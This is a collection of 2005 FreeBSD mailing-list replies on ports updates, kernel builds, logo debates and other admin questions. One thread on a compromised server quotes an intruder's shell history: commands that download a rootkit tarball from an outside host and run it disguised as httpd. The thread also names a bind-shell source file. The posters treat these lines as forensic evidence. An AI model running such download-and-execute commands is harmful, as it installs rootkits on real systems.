 http://www.freebsd.org/doc/en_US.ISO8859-1/articles/contributors/staff-core
.html

 This would be the core team I refer to.


thanks for the url, im gonna look that one up. i dont know where i got my 
data from, i think i actually read some topics in the news about it.

  do we? for a single person trying to speak plural... you got quite an ego
  there...

 we -- If you will recall was in quotes. [ exasperated sigh ]


i am answering you and and that other guy, both of you.

 Rob.
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Re: httpd in /tmp - Sound advice sought

2005-02-09 Thread Oliver Leitner
i know a certain hacking group who is trying to run their trojan as httpd, i 
discovered that info through some shell account i am running, that has tried 
to start this rootkit on our machine.

heres a short view from the shell's history:

-
wget geocities.com/setan_maya/taek.tar.gz
cd ..
ls
cd ..
ls
cd tmp
ls
wget geocities.com/setan_maya/taek.tar.gz
tar zxvf taek.tar.gz
ls
cd taek
./httpd
chmod 755 httpd
./httpd
ls
cd ..
rm -rf taek
rm taek.tar.gz 
---

this clearly shows, that we have to do with a very dumb person, hence he

1. didnt cleaned his historyfile
2. left the tar.gz file in his homedir
3. loaded the rootkit from the same server he is running the group's webpage 
on.
4. has a link to their chan on that page, and in the chan as ive monitored 
for 48hrs, ive found them posting their successes directly and unencrypted.

I have informed a number of providers and hosters, that had their webpage 
posted into that chan, and informed them about the breakins, so far i got no 
message back from them.

of course, its a longshot, but they didnt seem to check first if the folder 
tmp has the executable bit set at all, and they named their client like the 
file youve found.

i hope this helps you further.

Greetings
Oliver Leitner
Technical Staff
http://www.shells.at

On Tuesday 08 February 2005 14:35, Bret Walker wrote:
 Last night, I ran chkrootkit and it gave me a warning about being infected
 with Slapper.  Slapper exploits vulnerabilities in OpenSSL up to version
 0.96d or older on Linux systems.  I have only run 0.97d.  The file that
 set chkrootkit off
 was httpd which was located in /tmp.  /tmp is always mounted rw, noexec.

 I update my packages (which are installed via ports) any time there is a
 security update.  I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl
 2.8.22/OpenSSL 0.97d on 4.10.  Register_globals was on in PHP for a couple
 of
 weeks, but the only code that required it to be on was in a .htaccess/SSL
 password protected directory.

 Tripwire didn't show anything that I noted as odd.  I reexamined the
 tripwire logs,
 which are e-mailed to an account off of the machine immediately after
 completion, and I don't
 see anything odd for the 3/4 days before or after the date on the file.
 (I don't scan /tmp)

 I stupidly deleted the httpd file from /tmp, which was smaller than the
 actual apache httpd.  And I don't back up /tmp.

 The only info I can find regarding this file being in /tmp pertains to
 Slapper.  Could something have copied a file there?  Could I have done it
 by mistake at some point - the server's been up ~60 days, plenty of time
 for me to forget something?

 This is production box that I very much want to keep up, so I'm seeking
 some sound advice.

 Does this box need to be rebuilt?  How could a file get written to /tmp,
 and is it an issue since it couldn't be executed?  I run tripwire nightly,
 and haven't seen anything odd to the best of my recollection.  I also
 check ipfstat -t frequently to see if any odd connections are happening.

 I appreciate any sound advice on this matter.

 Thanks,
 Bret

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Re: httpd in /tmp - Sound advice sought

2005-02-09 Thread Oliver Leitner
not from the log output you just showed, id look back further on the 
webserver logs, and also take a look on other running processes on your 
server, ps auxf ...

other good tools to find installed rootkits:

rkhunter (youll find that in the ports collection, at least on a 5.3)
sockstat.c (easy to find via google)
and have a close look into your /proc fs, in case you have a procfs mounted.

also check your webserver for world writeable directories, and for cross site 
scripting problems, that wget was called from the webserver looks like some 
kind of bug in a script, that is used by a webpage, that the attacker tried 
to use...

On Wednesday 09 February 2005 18:41, Bret Walker wrote:
 Thanks for letting me know.

 I found this in the my httpd error log:

 [Fri Jan 14 13:06:06 2005] [error] [client 129.xxx.xxx.xxx] File does not
 exist: /usr/local/www/data/favicon.ico
 wget: permission denied
 ./httpd: not found
 shellbind.c: In function `main':
 shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
 pointer without a cast
 shellbind.c: In function `main':
 shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
 pointer without a cast
 ./httpd: permission denied
 ./httpd: permission denied
 shellbind.c: In function `main':
 shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
 pointer without a cast
 ./httpd: permission denied
 shellbind.c: In function `main':
 shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
 pointer without a cast
 ./httpd: permission denied
 shellbind.c: In function `main':
 shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
 pointer without a cast
 [Fri Jan 14 21:40:12 2005] [error] [client 195.92.95.15] File does not
 exist: /usr/local/www/data-dist/xyzzy
 [Fri Jan 14 21:40:21 2005] [error] [client 195.92.95.15] File does not
 exist: /usr/local/www/data-dist/xyzzy
 [Sat Jan 15 21:36:33 2005] [error] [client 195.92.95.15] File does not
 exist: /usr/local/www/data-dist/xyzzy
 [Sun Jan 16 21:54:06 2005] [error] [client 195.92.95.15] File does not
 exist: /usr/local/www/data-dist/xyzzy
 [Sun Jan 16 23:58:22 2005] [error] mod_ssl: SSL handshake interrupted by
 system [Hint: Stop button pressed in browser?!] (System error follows)
 [Sun Jan 16 23:58:22 2005] [error] System: Connection reset by peer
 (errno: 54)

 I also found shellbind.c in my /tmp directory.  Is there a way to tell
 what type of exploit was used to get these files on my system (ie OpenSSL
 / PHP register_globals)?

 I've been monitoring this server from a port that mirrors its traffic
 using Ethereal, and all seems to be okay now.  I also cvsuped -Rr my
 apache+mod_ssl install.

 Thanks,
 Bret

 -Original Message-
 From: [EMAIL PROTECTED]
 [mailto:[EMAIL PROTECTED] On Behalf Of Oliver Leitner
 Sent: Wednesday, February 09, 2005 8:48 AM
 To: Bret Walker; freebsd-questions@freebsd.org
 Subject: Re: httpd in /tmp - Sound advice sought


 i know a certain hacking group who is trying to run their trojan as httpd,
 i
 discovered that info through some shell account i am running, that has
 tried
 to start this rootkit on our machine.

 heres a short view from the shell's history:

 -
 wget geocities.com/setan_maya/taek.tar.gz
 cd ..
 ls
 cd ..
 ls
 cd tmp
 ls
 wget geocities.com/setan_maya/taek.tar.gz
 tar zxvf taek.tar.gz
 ls
 cd taek
 ./httpd
 chmod 755 httpd
 ./httpd
 ls
 cd ..
 rm -rf taek
 rm taek.tar.gz
 ---

 this clearly shows, that we have to do with a very dumb person, hence he

 1. didnt cleaned his historyfile
 2. left the tar.gz file in his homedir
 3. loaded the rootkit from the same server he is running the group's
 webpage
 on.
 4. has a link to their chan on that page, and in the chan as ive monitored

 for 48hrs, ive found them posting their successes directly and
 unencrypted.

 I have informed a number of providers and hosters, that had their webpage
 posted into that chan, and informed them about the breakins, so far i got
 no
 message back from them.

 of course, its a longshot, but they didnt seem to check first if the
 folder
 tmp has the executable bit set at all, and they named their client like
 the
 file youve found.

 i hope this helps you further.

 Greetings
 Oliver Leitner
 Technical Staff
 http://www.shells.at

 On Tuesday 08 February 2005 14:35, Bret Walker wrote:
  Last night, I ran chkrootkit and it gave me a warning about being
  infected with Slapper.  Slapper exploits vulnerabilities in OpenSSL up
  to version 0.96d or older on Linux systems.  I have only run 0.97d.
  The file that set chkrootkit off was httpd which was located in /tmp.
  /tmp is always mounted rw, noexec.
 
  I update my packages (which are installed via ports) any time there is
  a security update.  I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl
  2.8.22/OpenSSL 0.97d on 4.10.  Register_globals was on in PHP for a
  couple of weeks, but the only code that required

Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread Oliver Leitner
well, i am quite new to freebsd, one of the things that got me curious enough 
to give it a try was the current logo, i like the beastie, it just has the 
perfect all around look, so why change it?

never change a running system

Greetings
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Technical Staff
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On Wednesday 09 February 2005 19:32, Charles-André Landemaine wrote:
 This will sign the death of FreeBSD.

 How could they believe such crap?! Who said beastie is evil?! This is
 totally non-sense, it's a logo, it's not the CD cover of a heavy-metal
 release...!

 I think the reasons are the same as NetBSD. Do extremist Republicans
 threaten BSD distros?

 The word daemon in greek means server (the person, not the
 hardware). This is neither good nor bad, if it has to be  either one,
 then it's good.

 Oh please, wake me up, it's a nightmare!!!
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Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread Oliver Leitner
On Wednesday 09 February 2005 20:07, Hexren wrote:
  See the thread The FreeBSD Project is announcing a public competition
  for the new logo design.  in -advocacy - I've already replied with
  my views on the subject, along the same lines as your comments.
 
  I'm not subscribed to -advocacy can you provide me with an archive
  link to this thread in question? I wasn't able to find it based on the
  subject you provided.

 JG You can follow this post at:
 JG   http://lists.freebsd.org/pipermail/freebsd-advocacy/2005-February/


 -

 quoteAnd this daemon character seems cute from somebody's point of view,
 but somebody may think which does not suit for the professional
 products to indicate that are using the FreeBSD inside./quote

i know a certain penguin who doesnt look professional at all and is the most 
famous animal in it scene by now.


 Not my line of thought. I like the logo and its charm :)

 Hexren

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Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread Oliver Leitner
if we dont take care of the little things around us, what right do we have 
to be upset on the bigger ones?

On Wednesday 09 February 2005 20:28, sp0ng3b0b wrote:
 Charles-André Landemaine wrote:
  This will sign the death of FreeBSD.
  Oh please, wake me up, it's a nightmare!!!

 Come on now, is changing the logo ALL that BAD? Companies and
 organizations do it all the time. Who cares? It's not like a new logo
 will introduce new bugs and vulnerabilities in your OS!

 Change is good. Time to try something different. I think some folks
 should relax and not get too upset. There are worse things going on in
 the world...

 ...my 2 cents...
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Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread Oliver Leitner
On Wednesday 09 February 2005 22:33, Mark Rowlands wrote:
 On Wednesday 09 February 2005 21:06, Timothy Luoma wrote:
  On Feb 9, 2005, at 1:56 PM, Chad Morland wrote:
   On Wed, 09 Feb 2005 18:48:19 +, Mark Ovens [EMAIL PROTECTED]
  
   wrote:
   See the thread The FreeBSD Project is announcing a public competition
   for the new logo design.  in -advocacy - I've already replied
   with
   my views on the subject, along the same lines as your comments.
  
   I'm not subscribed to -advocacy can you provide me with an archive
   link to this thread in question? I wasn't able to find it based on the
   subject you provided.
 
  Put freebsd advocacy into Google, click on the link for the list,
  click on the link for the archive, and check out February's posts.
 
  There are a total of 4 posts listed, 3 of them with the Subject:
 
  The FreeBSD Project is announcing a public competition for the new
  logo design. 
 
  How hard was that ?

 please take this thread elsewhere...anywhere

why?
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Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread Oliver Leitner
On Wednesday 09 February 2005 22:56, Frank Laszlo wrote:
 Oliver Leitner wrote:
 On Wednesday 09 February 2005 22:33, Mark Rowlands wrote:
 On Wednesday 09 February 2005 21:06, Timothy Luoma wrote:
 On Feb 9, 2005, at 1:56 PM, Chad Morland wrote:
 On Wed, 09 Feb 2005 18:48:19 +, Mark Ovens [EMAIL PROTECTED]
 
 wrote:
 See the thread The FreeBSD Project is announcing a public competition
 for the new logo design.  in -advocacy - I've already replied
 with
 my views on the subject, along the same lines as your comments.
 
 I'm not subscribed to -advocacy can you provide me with an archive
 link to this thread in question? I wasn't able to find it based on the
 subject you provided.
 
 Put freebsd advocacy into Google, click on the link for the list,
 click on the link for the archive, and check out February's posts.
 
 There are a total of 4 posts listed, 3 of them with the Subject:
 
The FreeBSD Project is announcing a public competition for the new
 logo design. 
 
 How hard was that ?
 
 please take this thread elsewhere...anywhere
 
 why?

 This is a Questions list. And this is clearly not a question. Thus, it
 does not belong here, it belongs on -chat or -advocacy.

i think the threadstarter was asking a question, and he just put his own 
opinion to it, i think thats a good reason why it should come to this 
mailinglist, after all it fits the two major reasons, why there are 
mailinglists.

1. ppls ask questions.
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Re: ssh root@localhost

2005-02-02 Thread Oliver Leitner
add your user to the wheel group
that might do the trick.

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On Wednesday 02 February 2005 12:16, Gert Cuykens wrote:
 Why does it not accept my password ?

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Re: ssh root@localhost

2005-02-02 Thread Oliver Leitner
oops, the others are right, i was wrong, i was thinking just two steps ahead 
once again...)

On Wednesday 02 February 2005 12:38, Oliver Leitner wrote:
 add your user to the wheel group
 that might do the trick.

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  Password:
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Re: keeping freebsd uptodate - doubt

2005-02-02 Thread Oliver Leitner
On Wednesday 02 February 2005 14:19, saravanan ganapathy wrote:
 Hai ,

 I have installed 5.3 release and want to keep my
 system uptodate with the security patches.

 Based on many guides, I have arranged as a doc. Pls
 confirm me whether my steps are ok

 1) Install portupgrade
 2) Sync ports

  Ports-supfile contains as

 *default host=cvsup10.us.freebsd.org
 *default base=/var/db
 *default prefix=/usr
 *default release=cvs tag=.
 *default delete use-rel-suffix
 ports-all

 ( or should I change tag=RELENG_5_3 )

   cvsup -g -L 2 /root/ports-supfile

 3) portsdb -Uu
 4) portversion -v
 5) portupgrade -arR  { to upgrade from all the lower
 versions of applications )

id add the following things:

1. install portaudit.
2. portupgrade portdir/portname (e.g. portupgrade lang/perl5)
3. if portupgrade portdir/portname doesnt do, use the -f flag.
4. install freebsd-update from the security ports dir.
5. freebsd-update fetch
6. freebsd-update install
7. in case freebsd-update did find new kernel modules, you might eventually 
want to reboot the machine.

 Any other steps to do?

 What 'make fetchindex' will do?


make fetchindex from what i might tell does the same as portsdb -Uu
(if i got that wrong, please forgive me... i just had my first month with BSD)

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Re: keeping freebsd uptodate - doubt

2005-02-02 Thread Oliver Leitner
to add something...

pkg_version -v  pkgversions.txt

then you might check the generated textfile for current packages which are 
outdated, and need to be upgraded...

On Wednesday 02 February 2005 14:25, Oliver Leitner wrote:
 On Wednesday 02 February 2005 14:19, saravanan ganapathy wrote:
  Hai ,
 
  I have installed 5.3 release and want to keep my
  system uptodate with the security patches.
 
  Based on many guides, I have arranged as a doc. Pls
  confirm me whether my steps are ok
 
  1) Install portupgrade
  2) Sync ports
 
   Ports-supfile contains as
 
  *default host=cvsup10.us.freebsd.org
  *default base=/var/db
  *default prefix=/usr
  *default release=cvs tag=.
  *default delete use-rel-suffix
  ports-all
 
  ( or should I change tag=RELENG_5_3 )
 
cvsup -g -L 2 /root/ports-supfile
 
  3) portsdb -Uu
  4) portversion -v
  5) portupgrade -arR  { to upgrade from all the lower
  versions of applications )

 id add the following things:

 1. install portaudit.
 2. portupgrade portdir/portname (e.g. portupgrade lang/perl5)
 3. if portupgrade portdir/portname doesnt do, use the -f flag.
 4. install freebsd-update from the security ports dir.
 5. freebsd-update fetch
 6. freebsd-update install
 7. in case freebsd-update did find new kernel modules, you might eventually
 want to reboot the machine.

  Any other steps to do?
 
  What 'make fetchindex' will do?

 make fetchindex from what i might tell does the same as portsdb -Uu
 (if i got that wrong, please forgive me... i just had my first month with
 BSD)

  Pls guide me
 
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Re: keeping freebsd uptodate - doubt

2005-02-02 Thread Oliver Leitner
On Wednesday 02 February 2005 14:57, saravanan ganapathy wrote:
 --- Karol Kwiatkowski [EMAIL PROTECTED]

 wrote:
  saravanan ganapathy wrote:
   Hai ,
  
   I have installed 5.3 release and want to keep my
   system uptodate with the security patches.
  
   Based on many guides, I have arranged as a doc.
 
  Pls
 
   confirm me whether my steps are ok
  
   1) Install portupgrade
   2) Sync ports
  
Ports-supfile contains as
  
   *default host=cvsup10.us.freebsd.org
   *default base=/var/db
   *default prefix=/usr
   *default release=cvs tag=.
   *default delete use-rel-suffix
   ports-all
 
  OK
 
   ( or should I change tag=RELENG_5_3 )
 
  No, tag=. is exactly what is needed for updating
  ports.
 
 cvsup -g -L 2 /root/ports-supfile
 
  OK
 
   3) portsdb -Uu
  
  From 'man portsdb':
-U
--updateindex  Update or create the ports
 
  index file called INDEX.
 
  from 'man ports':
   fetchindex   Fetch the INDEX file from the
 
  FreeBSD cluster.
 
 
  Generating INDEX with 'portsdb -U' can take a while.
  Alternatively,
  you could run 'cd /usr/ports  make fetchindex'
  which will download
  that file for you.
 
  so point 3) could be like:
 
  3-a) cd /usr/ports
  3-b) make fetchindex
  3-c) portsdb -u
 
  This is *much* faster but, of course, there's
  nothing wrong with
  'portsdb -Uu'.
 
   4) portversion -v
 
  'portversion -v | grep -v = ' is what I use.
 
   Any other steps to do?
 
  Above procedure updates (only) your ports tree and
  installed ports.
  Subscribe to freebsd-announce and keep your system
  up-to-date.
 
   What 'make fetchindex' will do?
 
  See above (point 3).

 Thx for ur responses

 I have done the above steps to update my system and
 when I run 'portversion -v | grep -v = ', I am
 gettin g the perl package only.

 freebsd# portversion -v | grep -v =
 perl-5.8.5needs updating (port has 5.8.6_1)

 freebsd# portupgrade perl
 ---  Upgrading 'perl-5.8.5' to 'perl-5.8.6_1'
 (lang/perl5.8)
 ---  Building '/usr/ports/lang/perl5.8'
 ===  Cleaning for perl-5.8.6_1
 ===  perl-5.8.6_1 has known vulnerabilities:
 = perl -- File::Path insecure file/directory
 permissions.
Reference:
 http://www.FreeBSD.org/ports/portaudit/c418d472-6bd1-11d9-93ca-000a95bc6fa
e.html = Please update your ports tree and try again.
 *** Error code 1

 Stop in /usr/ports/lang/perl5.8.
 ** Command failed [exit code 1]: /usr/bin/script -qa
 /tmp/portupgrade5864.0 make
 ** Fix the problem and try again.
 ** Listing the failed packages (*:skipped / !:failed)
 ! lang/perl5.8 (perl-5.8.5) (unknown build
 error)
 ---  Packages processed: 0 done, 0 ignored, 0 skipped
 and 1 failed

 How to solve this problem?

portupgrade -f portname...

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Re: keeping freebsd uptodate - doubt

2005-02-02 Thread Oliver Leitner
On Wednesday 02 February 2005 15:11, saravanan ganapathy wrote:
 --- Oliver Leitner [EMAIL PROTECTED] wrote:
  On Wednesday 02 February 2005 14:19, saravanan
 
  ganapathy wrote:
   Hai ,
  
   I have installed 5.3 release and want to keep my
   system uptodate with the security patches.
  
   Based on many guides, I have arranged as a doc.
 
  Pls
 
   confirm me whether my steps are ok
  
   1) Install portupgrade
   2) Sync ports
  
Ports-supfile contains as
  
   *default host=cvsup10.us.freebsd.org
   *default base=/var/db
   *default prefix=/usr
   *default release=cvs tag=.
   *default delete use-rel-suffix
   ports-all
  
   ( or should I change tag=RELENG_5_3 )
  
 cvsup -g -L 2 /root/ports-supfile
  
   3) portsdb -Uu
   4) portversion -v
   5) portupgrade -arR  { to upgrade from all the
 
  lower
 
   versions of applications )
 
  id add the following things:
 
  1. install portaudit.
  2. portupgrade portdir/portname (e.g. portupgrade
  lang/perl5)
  3. if portupgrade portdir/portname doesnt do, use
  the -f flag.
  4. install freebsd-update from the security ports
  dir.
  5. freebsd-update fetch
  6. freebsd-update install
  7. in case freebsd-update did find new kernel
  modules, you might eventually
  want to reboot the machine

 what freebsd-update fetch  install will do?

 Sarav

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Re: keeping freebsd uptodate - doubt

2005-02-02 Thread Oliver Leitner
On Wednesday 02 February 2005 17:08, Robert Huff wrote:
 Karol Kwiatkowski writes:
   Someone else should comment on that, but I think updating (cvsup)
   ports tree once a week should be often enough to track changes
   and rare enough to not overload mirrors.

   The other theory involves more frequent (i,e, daily) but
 presumably smaller updates.
   On the gripping hand ... I'm not convinced the mirrors are
 in danger of overload except possibly at the end of a ports freeze.


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Well... in general the daily small updates is a good idea, *if* youre not on 
a dialup, isdn or slow austrian cable connection, things can get annoying 
with that...

besides the more obvious reason why daily updates on every package isnt a 
good idea, if you dont want to read UPDATES file daily;)

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Re: How do I do a COLD Reboot on FreeBSD?

2005-01-31 Thread Oliver Leitner
I am not completely sure...

but from what i know bout a COLD Reboot:

just unplug the power cable.

that exactly does what a COLD Reboot does.

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On Monday 31 January 2005 15:31, Billy Newsom wrote:
 I need to do a cold restart.  I've looked through a lot of docs, and I
 can't seem to find this out.  The computer I am working with seems to no
 longer enjoy a warm reboot (like shutdown -r now or reboot) but I'm
 pretty sure it will do cold reboots fine.  Is there a port, or is the
 shutdown command hackable for this, or what?

 I remember many computers in bygone years which had this problem. It was
 pretty common back in the 90's it seems like.  Computers would reboot and
 act weird using CTRL-ALT-DELETE, but work fine when powered off and on.

 The computer I've got actually fails a memory test during the warm reboot.
 This freezes it.  I have to power cycle the machine.  And then, the
 computer performs a warm restart, bypassing its memory checks!  One more
 power cycle laster, it will boot normally.  If I don't do this last reboot,
 the FreeBSD boot loader or the beginning of the kernel boot crashes very
 early.  It's stable otherwise on a cold reboot.

 Thanks,
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Re: vesa,/i810, Dell gx270 and Intel 82865G Graphics

2005-01-25 Thread Oliver Leitner
/etc/X11/xorg.conf or where you placed that file after creation...

In the monitor section i think is the place where to set that.

On Tuesday 25 January 2005 16:28, Damian Sobieralski wrote:
  I'd be willing to try that.  Forgive my ignorance and inexperience
 with X- but where would I set that?

 --- Oliver Leitner [EMAIL PROTECTED] wrote:
  Ok, this is a longshot... i kinda dont know this problem...
 
  but maybe, if you set your clockrate to something lower, its gonna
  work, look
  below for a list of your supported hz vs. supported resolutions...
 
  i have that info from your logfile pastings...
 
  Greetings
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Re: port newbie question

2005-01-25 Thread Oliver Leitner
You get something like an options menu if youre trying to install that 
program?

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On Tuesday 25 January 2005 21:21, Ken Hawkins wrote:
 configure: error: You have enabled Apache 2 support while your server
 is Apache 1.3.  Please use the appropiate switch --with-apxs (without
 the 2)

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Re: port newbie question

2005-01-25 Thread Oliver Leitner
try to remove the work subdir from the port directory of your application, 
that might do the trick...

On Tuesday 25 January 2005 21:32, Ken Hawkins wrote:
 Now that you mention it I did the first time I installed mod_php4 but
 not now. when I deinstalled mod_php4 I used 'make deinstall distclean'
 to clear it out.
 maybe there is a -D switch i can send make so that I can get an
 interactive menu again?

 ken;

 On Jan 25, 2005, at 3:21 PM, Oliver Leitner wrote:
  You get something like an options menu if youre trying to install that
  program?
 
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  On Tuesday 25 January 2005 21:21, Ken Hawkins wrote:
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  is Apache 1.3.  Please use the appropiate switch --with-apxs (without
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Re: port newbie question

2005-01-25 Thread Oliver Leitner
try to call ./configure with that switch...

./configure --with-apxs=/path/to/bin/apxs

btw, a tip, if youre just installing ports, use something like portinstall 
rather than doing it all by hand;)

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Re: compiling kernel

2005-01-24 Thread Oliver Leitner
$ which perl5
/usr/local/bin/perl5
$ perl5 --version

This is perl, v5.8.5 built for i386-freebsd-64int

Copyright 1987-2004, Larry Wall

Perl may be copied only under the terms of either the Artistic License or the
GNU General Public License, which may be found in the Perl 5 source kit.

Complete documentation for Perl, including FAQ lists, should be found on
this system using `man perl' or `perldoc perl'.  If you have access to the
Internet, point your browser at http://www.perl.com/, the Perl Home Page.

Thats my info on perl5, which tells me, that i prolly installed it through 
the ports collection (hence /usr/local...), and that its the perl version 
5.8.5 from there...

maybe you just havent the right perl installed?

but i cant put my hand into the fire for this, after all im new to bsd=)

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On Monday 24 January 2005 15:13, Josip wrote:
 Let me first just say that I'm new to FreeBSD. I'm tring to compile a
 custom kernel and when I do make buildkernel KERNCONF=NEWKERN  I get
 this:
 perl5 /usr/src/sys/kern/vnode_if.pl -h /usr/src/sys/kern/vnode_if.src
 perl5:No such file or directory.

 Both files are in the specified dir.

 When I run the above command manualy it execues OK and creates the file
 vnode_if.h in pwd.

 What am I doing wrong?

 Thanks!

 PS Also if I do make buildkernel KERNCONF=GENERIC I get the same error!
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Re: FreeBSD and SANs

2005-01-24 Thread Oliver Leitner
Ok, im not fully into the programs involved with SAN technology, maybe you 
may give a few names of programs youre used to, so i could look for em?

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On Monday 24 January 2005 15:46, Wood, Bradley wrote:
 Hi

 I am wanting to access a SAN from FreeBSD. Is there any support for this to
 you knowledge? If so, can anyone recommend a hardware solution that worked
 well? Additionally, if anyone is aware of hosting firms that provide and
 support FreeBSD nodes co-lo managed but also provide per gigabyte pricing
 on SAN-accessible storage I would be most interested.

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Re: making freebsd boot faster ...

2005-01-24 Thread Oliver Leitner

Wow, thats a long time**

nahh, lets think bout this seriously, shouldnt we;)

ok, if youre kinda into it, you could try to compile your bsd kernel with as 
small amount of modules, as possible.

also, if youre deeper into it, you could try to rewrite the modules, all in 
pure asm.

on top of that, how bout disabling all daemons that startup on boottime with 
the box, and in case you have it running, disable your x, cause its just 
taking up time and we dont really need a gui on bsd, do we?

ok, just had to be...

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On Monday 24 January 2005 20:52, faisal gillani wrote:
 i want my freebsd 5.3 to boot faster
 there are almost 15 sec my box is taking longer , 5
 sec in the boot manager screen  10 sec more in the
 welcome  boot options screen ..


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Re: let me just throw this out there..

2005-01-24 Thread Oliver Leitner
sounds like either powersurgery or you hit the wrong button to me...
also, are you the only one with root or power access to it?

maybe some coworker stepped over the cable, or some other one thought he 
could work with a bsd, and just did the shutdown -r now...

in case you might wanna check all the logs, also the ones including 
informations on who connected to that box.

Also, its only a thought, but how much space is left on that system, do a
df -h and have a closer look...

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On Monday 24 January 2005 22:02, gabriel wrote:
 Has it ever happened to anyone here where your computer (in this case,
 my gateway running ipfw+natd) just restarts out of nowhere. It isnt
 even a crash, it just restarted. Then when the computer came back up
 nothing was running, dhcpd, natd, cupsd everything was just not
 running. Weird.

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Re: let me just throw this out there..

2005-01-24 Thread Oliver Leitner
ok, now open some tail -f 's and stay logged in monitoring them continuously, 
also let a packet capture program like tcpdum run, from that box, and from 
some other box on your network as well, to see if anything unusual comes 
through...

also check if that reboot happens again, and if so, if it happens at exactly 
the same time again...

And then set all daemons, that didnt startup with the machine to debug mode 
logging, also look if they have existing startup files (...sh in rc.d, maybe 
enabled through rc.conf...)

just general error searching routines...

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On Monday 24 January 2005 22:14, gabriel wrote:
 Yeah I'm the only root there, the only user with wheel access isnt
 even used often for that same reason. I checked the logs and oddly
 enough, it was all just like reboot, nothing interesting or
 anything, I checked all the ssh logs and everything looks okay. The
 weird thing is the deamons not starting, thats just odd. As a matter
 of fact, the first thing I checked was df -h to see if may be /var or
 / was full, but no, everything was good. Again.. weird.

 On Mon, 24 Jan 2005 22:04:57 +0100, Oliver Leitner [EMAIL PROTECTED] wrote:
  sounds like either powersurgery or you hit the wrong button to me...
  also, are you the only one with root or power access to it?
 
  maybe some coworker stepped over the cable, or some other one thought he
  could work with a bsd, and just did the shutdown -r now...
 
  in case you might wanna check all the logs, also the ones including
  informations on who connected to that box.
 
  Also, its only a thought, but how much space is left on that system, do a
  df -h and have a closer look...
 
  Greetings
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  On Monday 24 January 2005 22:02, gabriel wrote:
   Has it ever happened to anyone here where your computer (in this case,
   my gateway running ipfw+natd) just restarts out of nowhere. It isnt
   even a crash, it just restarted. Then when the computer came back up
   nothing was running, dhcpd, natd, cupsd everything was just not
   running. Weird.
 
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Re: let me just throw this out there..

2005-01-24 Thread Oliver Leitner
just to add reasons...

run a memtest on that machine, could be a dead ram as well...

On Monday 24 January 2005 22:36, gabriel wrote:
 Oh don't scare me, the machine I'm talking about is my gateway, the
 last gateway I had died (mobo fried) but I dont remember it doing this
 though.

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   my gateway running ipfw+natd) just restarts out of nowhere. It isnt
   even a crash, it just restarted. Then when the computer came back up
   nothing was running, dhcpd, natd, cupsd everything was just not
   running. Weird.
 
  Motherboard  CPU temp? UPS?
 
  ...D

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Re: Enemy-Territory for Linux run Problem on FreeBSD 5.3 Release

2005-01-24 Thread Oliver Leitner
well, you might wanna try to install the following port:

graphics/linux_mesa3

i dunno if FreeBSD has such a thing, for now im using
the debian.org package search interface for finding which library is part of 
which archive...

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On Tuesday 25 January 2005 00:04, Kevin Coles wrote:
 Hello,
 I am running FreeBSD 5.3 Release on a AMD Athlon 2800+ with Linux
 compatibility installed. I have just installed Linux-EnemyTerritory
 from ports and I tried to run it: ./et in
 /usr/compat/linux/usr/games/et .
 I then get this error message:

 ...loading libGL.so.1: QGL_Init: dlopen libGL.so.1 failed: libGL.so.1:
 cannot open shared object file: No such file or directory
 failed
 - CL_Shutdown -
 RE_Shutdown( 1 )
 ---
 - CL_Shutdown -
 ---
 Sys_Error: GLimp_Init() - could not load OpenGL subsystem

 I have located libGL.so.1 in my /usr/X11R6/lib/ .
 I read the handbook page on Linux Compatibilty, however that didn't
 seem to help.


 Any assistance would be greatly appreciated.

 Thanks,
 Kevin Coles
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Re: vesa,/i810, Dell gx270 and Intel 82865G Graphics

2005-01-24 Thread Oliver Leitner
Ok, this is a longshot... i kinda dont know this problem...

but maybe, if you set your clockrate to something lower, its gonna work, look 
below for a list of your supported hz vs. supported resolutions...

i have that info from your logfile pastings...

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Re: Username and password limits

2005-01-24 Thread Oliver Leitner
Well, theyre prolly in the sourcecode for the login routine, were talking 
bout opensource, you know...

sorry, i dont know them, and i havent looked em up on my own, but im sure 
they are there.

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On Tuesday 25 January 2005 01:00, Sean Murphy wrote:
 Anthony Atkielski wrote:
 Sean Murphy writes:
 
 SM We would like to use first initial last name for usernames on FreeBSD.
 SM I am use to Solaris which is normally eight and if you have a long
 SM password on Solaris it doesn't care what you type after 6 characters.
 
 Solaris uses only six-character passwords?  I guess it cannot claim to
 be secure, in that case.

 Sorry eight for password as well.
 Does any know the limits for FreeBSD?
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Re: perl and ports

2005-01-24 Thread Oliver Leitner
make and make install clean should do a good thing too, if the sourcecode 
itself isnt perl, nor any part of it, you should get the results wanted with 
these commands.

please correct me, if im not right, but the Makefile is not pl, right?

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On Tuesday 25 January 2005 01:42, Gert Cuykens wrote:
 Do we still need perl to make use of ports

 Just asking because it bugs me. I never use it and it just takes up
 space and it is a security risc :P I want it gone :)
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Re: Partition Size

2005-01-24 Thread Oliver Leitner
i dont see the /usr in your calculations...

asside of that...

it really depends on what youre going to do with the system, or which data 
its going to be holding...

this is absolutely subjective, cant tell you as long as i dont get any 
further data on the probably size of your data, and where theyll be stored...


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On Tuesday 25 January 2005 01:43, Peterhin wrote:
 I asked the question the other day,  whether to do a standard install or
 a custom install. This was brought about because I read several
 sources, including  G. Lehey's The Complete FreeBSD

 I will be doing a Custom install. My question however, is looking at
 page 70, in The Complete FreeBSD and I quote Use the rest of the
 space on disk for a /home file system. as long as it's possible to back
 it up on a single tape. Otherwise make multiple file systems.

 My question is do I make multiple /home directories.? I have a SATA 80GB
 hard drive, so as Greg L. suggests  4GB to 6GB for the root file
 system.
 1GB to 2GB for the Swap file. The rest of the disk for the /home file.

 That would leave me with a  /home  of approx. 72GB. I would appreciate
 any thoughts as to how I should  do this. The computer will be used as
 a stand alone workstation, with internet and email access for now. I do
 have a large number of JPEG files in my existing /home directory.
 (Linux)

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Re: Partition Size

2005-01-24 Thread Oliver Leitner
On Tuesday 25 January 2005 03:03, Peterhin wrote:
